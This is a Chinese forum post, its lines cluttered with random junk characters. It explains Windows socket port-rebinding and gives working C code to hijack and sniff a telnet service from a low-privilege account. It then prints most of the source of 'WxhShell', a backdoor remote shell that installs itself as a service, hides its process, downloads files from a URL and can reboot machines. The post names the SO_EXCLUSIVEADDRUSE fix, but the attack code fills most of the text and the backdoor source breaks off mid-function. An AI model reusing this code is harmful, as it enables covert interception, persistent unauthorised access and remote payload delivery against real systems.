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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5}$b0<em~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4MuO1W-  
2QpHvsl_  
  saddr.sin_family = AF_INET; E{^XlY  
Rm1A>1a :  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A\_|un%  
+ b$=[nfG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -x8nQ%X  
p!O(Y6QM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |2\{z{?  
+ Q=1AXe  
  这意味着什么?意味着可以进行如下的攻击: `LAR@a5i  
l {jmlT  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?{w3|Ef&  
-Y Bd, k3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  c gzwx  
G0u LmW70  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 CC\*?BKj"  
3p2P= T  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  mbnV[  
9Y>8=#.c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kF;D BN  
HHX-1+L  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 r:&` $8$  
o&AM2U/?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ac kqH+'  
P`s  
  #include -/{ 4Jf Wf  
  #include x3qW0K8  
  #include pj4!:{.;  
  #include    \Y6WSj?E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9% l%  
  int main() Yt|6 X:l  
  { YEkh3FrbwH  
  WORD wVersionRequested; .<tquswg  
  DWORD ret; {-|{xBd  
  WSADATA wsaData; )X9W y!w0  
  BOOL val; E0%~! b  
  SOCKADDR_IN saddr; b@3_L4~  
  SOCKADDR_IN scaddr; .q&'&~!_  
  int err; k+I}PuG  
  SOCKET s; !RyO\>:q  
  SOCKET sc; OpM(j&  
  int caddsize; 9j W2  
  HANDLE mt; qd"_Wu6aF=  
  DWORD tid;   !T](Udf  
  wVersionRequested = MAKEWORD( 2, 2 ); J!'@Bd  
  err = WSAStartup( wVersionRequested, &wsaData ); yV_4?nh  
  if ( err != 0 ) { h/B>S  
  printf("error!WSAStartup failed!\n"); D]c`B  
  return -1; /Q~gU<  
  } A,r*%&4~  
  saddr.sin_family = AF_INET; vad12WrG<  
   yG Wnod'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ` PYJ^I0  
f2,jh}4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >pU:Gr  
  saddr.sin_port = htons(23); *@d&5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EkGQ(fZ1|  
  { #2r}?hP/m  
  printf("error!socket failed!\n");  /'31w9  
  return -1; +w=AJdc  
  } o9cM{ya/>  
  val = TRUE; 5M9 I,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 oB74y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) DjSbyXvrg  
  { 'v]u#/7a  
  printf("error!setsockopt failed!\n"); hXqD<?  
  return -1; V& C/Z}\  
  } uV 7BK+[O  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @as"JAN  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @+atBmt  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J|&JD?  
,V*%V;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R+&jD;U{  
  { !Hys3AP  
  ret=GetLastError(); N^Bo .U0\  
  printf("error!bind failed!\n"); n_3O-X(  
  return -1; ]p_@@QTC  
  } 5jUYN-$GO  
  listen(s,2); C@jJ.^ <<  
  while(1) +3KEzo1=)  
  { uYE`"/h,1e  
  caddsize = sizeof(scaddr); ChCrL [2  
  //接受连接请求 0ez(A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {uGP&cS~(  
  if(sc!=INVALID_SOCKET) 6oF7:lt  
  { Ok n(pJ0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2Ry1b+\  
  if(mt==NULL) 5Ri6Z#qm  
  { F <hJp,q9  
  printf("Thread Creat Failed!\n"); kWdi59 5  
  break; vDH>H^9Y  
  } qhT@;W/X  
  } k?2k'2dy  
  CloseHandle(mt); !9xp cQ>  
  } 0_CN/5F  
  closesocket(s); i\W/C  
  WSACleanup(); ]O]GeAGC2  
  return 0; ;vt8R=T  
  }   M`ip~7"  
  DWORD WINAPI ClientThread(LPVOID lpParam) Yv:55+e!|  
  { J/}:x;Y  
  SOCKET ss = (SOCKET)lpParam; ~#kT _*sw)  
  SOCKET sc; h,Q3oy\s1  
  unsigned char buf[4096]; QR1{ w'c  
  SOCKADDR_IN saddr; d> {nQF;c  
  long num; 44-R!  
  DWORD val; <vXGi  
  DWORD ret; lkBdl#]9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V{<xf f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   W"Gkq!3u{  
  saddr.sin_family = AF_INET; }g4 M2|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y-7^o@y  
  saddr.sin_port = htons(23); q7"7U=W0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -&<Whhs.@  
  { ^a#X9  
  printf("error!socket failed!\n"); D$T%\ P  
  return -1; nxr!`^Mne  
  } U^Xm)lL  
  val = 100; )HX|S-qRU=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [H=)  
  { 4q<=K=F  
  ret = GetLastError(); )n,P"0  
  return -1; zA[0mkC?$  
  }  4._( |  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J_FNAdQt  
  { Dgy]ae(Hb3  
  ret = GetLastError(); x:nKfY5  
  return -1; )KP5Wud X  
  } @r?Uua  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) e @IA20  
  { d 9q(xZ5  
  printf("error!socket connect failed!\n"); }Q";aU0^  
  closesocket(sc); u;`U*@  
  closesocket(ss); |O"lNUW   
  return -1; :rg5Kt&  
  } C*`mM'#  
  while(1) uJ6DO#d`P  
  { CxfRV L`7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 A\#iXOd  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]8T!qS(UJd  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 sVl-N&/  
  num = recv(ss,buf,4096,0); VZ\B<i  
  if(num>0) A,`8#-AX  
  send(sc,buf,num,0); Qci4J  
  else if(num==0) {uHU]6d3qy  
  break; =KR NvW  
  num = recv(sc,buf,4096,0); @WI2hHD  
  if(num>0) &9Xhl''  
  send(ss,buf,num,0); {Lm~r+ U  
  else if(num==0) &\Amn?Iq  
  break; 8HP6+c%  
  } sq;s]@~  
  closesocket(ss); Ybn`3  
  closesocket(sc); G>q(iF'  
  return 0 ; Ud!4"<C_  
  } !tp1:'KG  
3K_A<j:  
PTEHP   
========================================================== SXy=<%ed  
F}=aBV|-  
下边附上一个代码,,WXhSHELL ##4GK08!  
l \sU  
========================================================== 3JVK  
V<j.xd7  
#include "stdafx.h" #H0dZ.$b0  
u{*SX k  
#include <stdio.h> R~ZFy0  
#include <string.h> mL4]l(U  
#include <windows.h> Kh MSL  
#include <winsock2.h> _N@ro  
#include <winsvc.h> yUp,NfS]o  
#include <urlmon.h> nH<eR)0  
rs~wv('  
#pragma comment (lib, "Ws2_32.lib") ObiT-D?)g  
#pragma comment (lib, "urlmon.lib") Z"AQp _  
rSJ9 v :  
#define MAX_USER   100 // 最大客户端连接数 ?|39u{  
#define BUF_SOCK   200 // sock buffer M{*Lp6h  
#define KEY_BUFF   255 // 输入 buffer |gU(s  
p1|f<SF')  
#define REBOOT     0   // 重启 (x3.poSt  
#define SHUTDOWN   1   // 关机 pbU!dOU~e  
Q*b]_0Rb  
#define DEF_PORT   5000 // 监听端口 ,JEF GI{  
D)d~3`=#  
#define REG_LEN     16   // 注册表键长度 beu\cV3  
#define SVC_LEN     80   // NT服务名长度 WAS U0  
HTyLJe  
// 从dll定义API B~_d^`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +mp@b942*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <-u8~N@43W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X0n~-m"m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QI3Nc8t_2  
1[yq0^\]M[  
// wxhshell配置信息 ('hE r~&  
struct WSCFG { $t6e2=7  
  int ws_port;         // 监听端口 ^/U|2'$'>E  
  char ws_passstr[REG_LEN]; // 口令 8f3vjK'  
  int ws_autoins;       // 安装标记, 1=yes 0=no m`FN IY  
  char ws_regname[REG_LEN]; // 注册表键名 Zib)P&  
  char ws_svcname[REG_LEN]; // 服务名 kJ Mf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ba/Yl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g2T -TG'd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [!U?}1YQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .;*s`t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l@ap]R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oD$J0{K6  
>`%'4<I  
}; ,Y>Bex_v  
7IjQi=#:  
// default Wxhshell configuration ,.qMEMm  
struct WSCFG wscfg={DEF_PORT, r9ww.PpNk#  
    "xuhuanlingzhe", "1HRLci  
    1, k+DR]icv  
    "Wxhshell",  $O dCL  
    "Wxhshell", gR}35:$Z-  
            "WxhShell Service", p^'3Odd|O  
    "Wrsky Windows CmdShell Service", PgRDKygE  
    "Please Input Your Password: ", }sOwp}FV8X  
  1, <,>P0tY}  
  "http://www.wrsky.com/wxhshell.exe", H(&4[%;MP  
  "Wxhshell.exe" g=$1cC+(  
    }; ''Cay0h  
~mR'Q-hi<  
// 消息定义模块 >z.<u|r2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?|ZTaX6A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ed ,D8ND  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4M^G`WA}t9  
char *msg_ws_ext="\n\rExit."; D7S'*;F  
char *msg_ws_end="\n\rQuit."; `8Lo{P  
char *msg_ws_boot="\n\rReboot..."; ME=/|.}D<  
char *msg_ws_poff="\n\rShutdown..."; Vl2XDkhq  
char *msg_ws_down="\n\rSave to "; Rh>}rGvCUN  
Ey4z.s'-l  
char *msg_ws_err="\n\rErr!"; qvv2O1c"A  
char *msg_ws_ok="\n\rOK!"; r{rQu-|.  
Uv4`6>Ix  
char ExeFile[MAX_PATH]; S*,rGCt'T  
int nUser = 0; rrCNo^W1  
HANDLE handles[MAX_USER]; P';?YV0  
int OsIsNt; @, Wvvh  
%3$*K\Ai  
SERVICE_STATUS       serviceStatus; Vb'7>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q;D0<Bv  
U_{Ux 2  
// 函数声明 K/}rP[H  
int Install(void); bpxeznz  
int Uninstall(void); Y}vr>\  
int DownloadFile(char *sURL, SOCKET wsh); $e /^u[~:  
int Boot(int flag); NoJ`6MB  
void HideProc(void); NmSo4Dg`U  
int GetOsVer(void); }nMPSerE  
int Wxhshell(SOCKET wsl); XZ5 /=z  
void TalkWithClient(void *cs); qVs\Y3u(  
int CmdShell(SOCKET sock); edK|NOOZ  
int StartFromService(void); D11F.McM  
int StartWxhshell(LPSTR lpCmdLine); $]q8, N|1  
Bk+{RN(w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v%RP0%%{s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A2n qf^b{#  
is@b&V]  
// 数据结构和表定义 YXI'gn2b#  
SERVICE_TABLE_ENTRY DispatchTable[] = l3IWoa&sh  
{ Y!T %cTK)a  
{wscfg.ws_svcname, NTServiceMain}, }YHX-e<Yx]  
{NULL, NULL} FEJ~k1z  
}; EMc;^ d  
!Lh^oPT"I  
// 自我安装 E.U_W  
int Install(void) XyOl:>%L!P  
{ ]7rj/l$ u  
  char svExeFile[MAX_PATH]; +d%L\^?F  
  HKEY key; ]7Z{ 8)T  
  strcpy(svExeFile,ExeFile); H`geS  
V$uk6#  
// 如果是win9x系统,修改注册表设为自启动 W mm4hkf  
if(!OsIsNt) { %.z,+Zz?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A?@@*$&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WsD M{1c  
  RegCloseKey(key); CQpCS_M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,do58i K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  HyR!O>  
  RegCloseKey(key); z-c}NdW  
  return 0; N72Yq)(  
    } MG?0>^F  
  } }E7:ihy  
} ai0Ut   
else { +nT'I!//  
kMsnW}Nu  
// 如果是NT以上系统,安装为系统服务 G!XIc>F*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NVl [kw  
if (schSCManager!=0) zR32PG>9  
{ sIv)'  
  SC_HANDLE schService = CreateService `~W-Xx  
  ( ez9 q7SpA  
  schSCManager, h?$T!D>  
  wscfg.ws_svcname, 3<=G?of  
  wscfg.ws_svcdisp, E[^ {w  
  SERVICE_ALL_ACCESS, M1%Dg'}G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _A0mxq  
  SERVICE_AUTO_START, J=dJs k   
  SERVICE_ERROR_NORMAL, UG<79"\i  
  svExeFile,  ]@M5&  
  NULL, /o2P+Xr8"  
  NULL, .uEPnzi  
  NULL, 8j4z{+'TQ  
  NULL, bTSL<"(]N  
  NULL =GXu 5 8  
  ); aIXdV2QS  
  if (schService!=0) )$Z=t-q  
  { $:of=WTY(  
  CloseServiceHandle(schService); 8#D:H/`'  
  CloseServiceHandle(schSCManager); `4 y]Z)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8#&q$kE  
  strcat(svExeFile,wscfg.ws_svcname); s-ZI ^I2\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K2<~(78C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z~\t|Z]G,|  
  RegCloseKey(key); )H}#A#ovj7  
  return 0; @K:N,@yq  
    } 1>Q'R  
  } <vUVP\u~$  
  CloseServiceHandle(schSCManager); lW 81q2n  
} P%MfCpyj  
} 3! ~K^Z]  
{W\T"7H  
return 1; SAY f'[|w  
} 4R8G&8b  
_pH{yhA  
// 自我卸载 T{}fHfM  
int Uninstall(void) +B|7p9qy  
{ K]xa/G(  
  HKEY key; :5yV.7  
%AW4.3()8  
if(!OsIsNt) { n$:IVX"2b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "+uNmUUnm  
  RegDeleteValue(key,wscfg.ws_regname); Ap$y%6  
  RegCloseKey(key); Y+qQIMZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tW;:-  
  RegDeleteValue(key,wscfg.ws_regname); s[Ur~Wvn  
  RegCloseKey(key); 1J? dK|% b  
  return 0; "EV!>^Z  
  } dC<LDxlv  
} gf+d!c(/  
} iL7VFo:Q  
else { bOI3^T  
T%Pp*1/m7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c '\SfW<  
if (schSCManager!=0) jn.C|9/mj  
{ @d&/?^dp6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :3$}^uzIq  
  if (schService!=0) ]P[%Mhg^  
  { 0ji q-3V)  
  if(DeleteService(schService)!=0) { ?U7) XvQ  
  CloseServiceHandle(schService); aTzDew  
  CloseServiceHandle(schSCManager); -@&1`@):{  
  return 0; 6/ `.(fL1  
  } 4eH.9t  
  CloseServiceHandle(schService); ai*b:Q  
  } Z"s|]K "  
  CloseServiceHandle(schSCManager); _e!F~V.  
} i5F:r|  
} *xR 2)u  
rNl.7O9b  
return 1; A-ZmG7xk  
} B ZMu[M  
`)4a[thp  
// 从指定url下载文件 n,O5".aa<  
int DownloadFile(char *sURL, SOCKET wsh)  H@uE>  
{ EC6k{y}bA  
  HRESULT hr; :"o o>  
char seps[]= "/"; 8p1ziz`4>$  
char *token; k8]O65t|  
char *file; =i HiPvP0  
char myURL[MAX_PATH]; Fd\ e*ww'  
char myFILE[MAX_PATH]; Vc3mp;6"  
gX5&d\y  
strcpy(myURL,sURL); z{]?h cY  
  token=strtok(myURL,seps); n +1y  
  while(token!=NULL) Qju`e Eo  
  { V^il$'  
    file=token; -p-0;Hy  
  token=strtok(NULL,seps); ->lu#; A5  
  } H g5++.Bp  
e1q"AOV6  
GetCurrentDirectory(MAX_PATH,myFILE); R \s!*)  
strcat(myFILE, "\\"); nF)uTk  
strcat(myFILE, file); SNT5Amz!  
  send(wsh,myFILE,strlen(myFILE),0); zX7q:Pt  
send(wsh,"...",3,0); )$x_!=@1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $(q>mg:H  
  if(hr==S_OK) y0ckm6^  
return 0; P|jF6?C  
else =GR 'V  
return 1; Dmdy=&G  
8n?kZY$,  
} 9j|gdfb%ml  
%zo= K}u  
// 系统电源模块 KbxR Lx]w  
int Boot(int flag) xU9@$am  
{ H]#Rg`~n  
  HANDLE hToken; l)+:4N?iVv  
  TOKEN_PRIVILEGES tkp; .>6 Wv0  
Z$KV&.=+  
  if(OsIsNt) { @\Js8[wS9@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +K6szGP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #NRh\Wj|  
    tkp.PrivilegeCount = 1; \.s`n2.w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,R wfp=*E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gmSQcN)  
if(flag==REBOOT) { 0NO1M)HQv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RM*f|j  
  return 0; 0&fl#]oCE  
} /owO@~G  
else { PQj<[rY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ] y1fM0  
  return 0; -g`IH-B  
} VS/;aG$&y  
  } `EMi0hm&H  
  else { . \5$MIF  
if(flag==REBOOT) { (%< 'A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]re'LC!d  
  return 0; %c6E-4b  
} 3#.\  
else { M1u{A^d.Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ulXnq`  
  return 0; PCfo  
} G{c#\?12C  
} E,*&BDW  
aU<s<2 O)  
return 1; S_8r\B[>P  
} =3ADT$YHd  
AZZRa69=  
// win9x进程隐藏模块 =l`OHTg  
void HideProc(void) Rf[V)x  
{ xRX>|S  
>#N[GrJAE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h[=nx^  
  if ( hKernel != NULL ) 6f] rQ9  
  { yBn_Kd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jM__{z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x0Bw{>Q  
    FreeLibrary(hKernel); ,8 6K  
  } /)V4k:#b  
fA8ozL T  
return; WD?Jk9_F  
} T{ -2fp8r[  
3eg5oAZ)G8  
// 获取操作系统版本 W^xZ+]  
int GetOsVer(void) Zg $Tf  
{ C{Blqf3V0  
  OSVERSIONINFO winfo; :)P<jX-G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5N1 K~".  
  GetVersionEx(&winfo); =s[ &;B`s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Gc;B[/:  
  return 1; 9e5gy  
  else 4 iH&:Al  
  return 0; v.`+I-\.z)  
} :t2B^})\  
F";FG 0  
// 客户端句柄模块 ="B n=>  
int Wxhshell(SOCKET wsl) .5g}rxO8  
{ 7c::Qf[|  
  SOCKET wsh; QHQj/)J8  
  struct sockaddr_in client; %3,xaVN  
  DWORD myID; ?~)Ak`=  
0>Fqx{!heq  
  while(nUser<MAX_USER) /2h][zrZ[.  
{ G?[-cNdk  
  int nSize=sizeof(client); BW71 s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .Z5[_'T  
  if(wsh==INVALID_SOCKET) return 1; $Sb@zLi)  
;c)! @GoA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @+dHF0aXd  
if(handles[nUser]==0) oEAfowXSqk  
  closesocket(wsh); uL>:tb  
else eycV@|6u*  
  nUser++; jYdV?B  
  } 8vJdf9pB*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m"-G6BKS  
:r39wFi  
  return 0; l;5`0N?QO  
} }jcIDiSu  
<bX 1,}?  
// 关闭 socket n2E4!L|q  
void CloseIt(SOCKET wsh) MF|*AB|E  
{ %O/d4  
closesocket(wsh); 5&qY3@I7l  
nUser--; #PH#2/[  
ExitThread(0); ]BfR.,,  
} T?e9eYwS  
b_ JWnh  
// 客户端请求句柄 I{<;;;a  
void TalkWithClient(void *cs) F '#^`G9  
{ v Xf:~G]  
(txt8q  
  SOCKET wsh=(SOCKET)cs; i+RD]QL  
  char pwd[SVC_LEN]; 'Q`C[*c  
  char cmd[KEY_BUFF]; ^;64!BaK  
char chr[1]; h60\ Y 8  
int i,j; -eq =4N=s  
uWrFunh%  
  while (nUser < MAX_USER) { UKYupLu5  
p5`ZyD ]+  
if(wscfg.ws_passstr) { +3HPA#A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z~R dFC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mz}i[|U\  
  //ZeroMemory(pwd,KEY_BUFF); +_-Y`O!Q  
      i=0; b_mWu@$  
  while(i<SVC_LEN) { Q;@X2 JSp  
\6LcVik  
  // 设置超时 {9'hOi50  
  fd_set FdRead; O,]_ tp  
  struct timeval TimeOut; 4 4<v9uSK  
  FD_ZERO(&FdRead); X}?ESjZJ  
  FD_SET(wsh,&FdRead); :o<N!*pT  
  TimeOut.tv_sec=8; c&A]pLn+x  
  TimeOut.tv_usec=0; z0;9SZ9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s+N^PX3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }8 \|1@09  
uegb;m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :Lc3a$qtx5  
  pwd=chr[0]; L77EbP`P  
  if(chr[0]==0xd || chr[0]==0xa) { #Wq#beBb  
  pwd=0; Q_v\1"c  
  break; 3f,u}1npa*  
  } {N Y]L==H  
  i++; 4UazD_`'  
    } -g<cinNSp  
tnNZ`]qY  
  // 如果是非法用户,关闭 socket Lv^a+'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v2(U(Tt  
} fX""xT NPi  
S8vx[<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F[(6*/46x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BM.-X7)  
j]#wrm  
while(1) { 5(KG=EHj_  
KKV)DExv?  
  ZeroMemory(cmd,KEY_BUFF); 7_1W:-A7W  
!HvGlj@(|  
      // 自动支持客户端 telnet标准   =s6E/K  
  j=0; `M,Nd'5&|  
  while(j<KEY_BUFF) { xV?*!m$V%R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $xQ"PJ2  
  cmd[j]=chr[0]; yX3PUO9  
  if(chr[0]==0xa || chr[0]==0xd) { | [p68v>  
  cmd[j]=0; "zXGp7Q'#  
  break; Ys)+9yPPn  
  } m^5s >hUl  
  j++; *|@+rbjVC  
    } |zT%$  
\!m!ibr  
  // 下载文件 ,v|CombIc.  
  if(strstr(cmd,"http://")) { $}V7(wu 6@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [Yn;G7cK  
  if(DownloadFile(cmd,wsh)) {$3j/b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  JUmw$u  
  else 4@= aa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4VC/-.At  
  } Euqjxz  
  else { `~0P[>|+  
9N<*S'Z  
    switch(cmd[0]) { ~NA1SZ{Y+  
  _jiQL66pY  
  // 帮助 4Fh&V{`W  
  case '?': { `3]Rg0g&Xe  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dG" K/|  
    break; $R8>u#K!  
  } @pTD{OW?  
  // 安装 SHytyd  
  case 'i': { O{Dm;@J-aM  
    if(Install()) 2B5A!? ~>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jk%'mEGE  
    else u mqLKf=x!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o; 6fvn  
    break; 9/FG,9  
    } keqr%:E8  
  // 卸载 =rtS#u Y  
  case 'r': { yi sF5`+  
    if(Uninstall())  4c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #_on{I  
    else ]sf2"~v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zoJ_=- *s  
    break; Oi6f8*,  
    } P= &'wblm?  
  // 显示 wxhshell 所在路径 : x>I- 3G  
  case 'p': { P"oYC$  
    char svExeFile[MAX_PATH]; sg+ZQDF{x  
    strcpy(svExeFile,"\n\r"); \nrgAC-b  
      strcat(svExeFile,ExeFile); =DGn,i9  
        send(wsh,svExeFile,strlen(svExeFile),0); hEVjeC  
    break; bcUC4g\9N  
    } t1G1(F#&%  
  // 重启 "w(N62z/  
  case 'b': { @gH(/pFX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >6*(}L9  
    if(Boot(REBOOT))  Y>xi|TWN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <j{0!J@:  
    else { XulaPq  
    closesocket(wsh); lb-S0plw  
    ExitThread(0); y{@P 1{  
    } y;zt_O/  
    break; -J-3_9I  
    } ;r gH}r  
  // 关机 ;Fx')  
  case 'd': { P'-JbPXU  
